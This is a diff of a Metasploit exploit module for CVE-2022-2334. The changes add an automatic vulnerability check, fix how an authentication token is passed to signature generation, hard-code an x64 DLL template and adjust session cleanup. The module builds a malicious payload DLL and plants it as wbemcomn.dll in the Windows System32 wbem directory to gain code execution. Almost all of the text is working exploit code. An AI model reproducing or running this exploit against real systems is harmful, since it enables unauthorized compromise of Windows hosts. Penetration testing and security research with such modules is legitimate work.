@@ -12,6 +12,7 @@ class MetasploitModule < Msf::Exploit::Remote
12
12
include Msf ::Exploit ::EXE
13
13
include Msf ::Exploit ::FileDropper
14
14
include Msf ::Exploit ::Remote ::HttpClient
15
+ prepend Msf ::Exploit ::Remote ::AutoCheck
15
16
16
17
def initialize ( info = { } )
17
18
super (
@@ -152,7 +153,7 @@ def check
152
153
# get the authentication token
153
154
auth_token = checker_instance . get_auth_token ( datastore [ 'USERNAME' ] )
154
155
# generate the signature
155
- @signature = checker_instance . generate_signature ( auth_token , datastore [ 'USERNAME' ] , datastore [ 'PASSWORD' ] )
156
+ @signature = checker_instance . generate_signature ( auth_token [ :proof ] , datastore [ 'USERNAME' ] , datastore [ 'PASSWORD' ] )
156
157
# check the generated signatures' validity
157
158
signature_check_res = signature_check ( datastore [ 'USERNAME' ] , @signature )
158
159
# if we cannot connect, then the system "appears" to be vulnerable
@@ -175,11 +176,6 @@ def check
175
176
end
176
177
177
178
def exploit
178
- # in this case, if it appears vulnerable, it should be enough to continue the exploit
179
- unless [ CheckCode ::Appears ] . include? check
180
- fail_with Failure ::NotVulnerable , 'Target is most likely not vulnerable!'
181
- end
182
-
183
179
# did the operator specify a custom DLL? If not...
184
180
if datastore [ 'DLLPATH' ]
185
181
# otherwise, just use their provided DLL and assume they compiled everything correctly
@@ -188,9 +184,8 @@ def exploit
188
184
else
189
185
# have MSF create the malicious DLL
190
186
path = ::File . join ( Msf ::Config . data_directory , 'exploits' , 'CVE-2022-2334' )
191
- arch = target [ 'Arch' ] == ARCH_ANY ? payload . arch . first : target [ 'Arch' ]
192
187
datastore [ 'EXE::Path' ] = path
193
- datastore [ 'EXE::Template' ] = ::File . join ( path , "template_ #{ arch } _windows .dll" )
188
+ datastore [ 'EXE::Template' ] = ::File . join ( path , "template_x64_windows .dll" )
194
189
195
190
print_status ( 'Generating payload DLL...' )
196
191
dll = generate_payload_dll
@@ -270,6 +265,8 @@ def exploit
270
265
271
266
# clean up the planted DLL if the session is meterpreter
272
267
def on_new_session ( session )
268
+ super
269
+
273
270
if session . type != 'meterpreter'
274
271
print_error ( 'Meterpreter not used. Please manually remove C:\\Windows\\System32\\wbem\\wbemcomn.dll' )
275
272
return
0 commit comments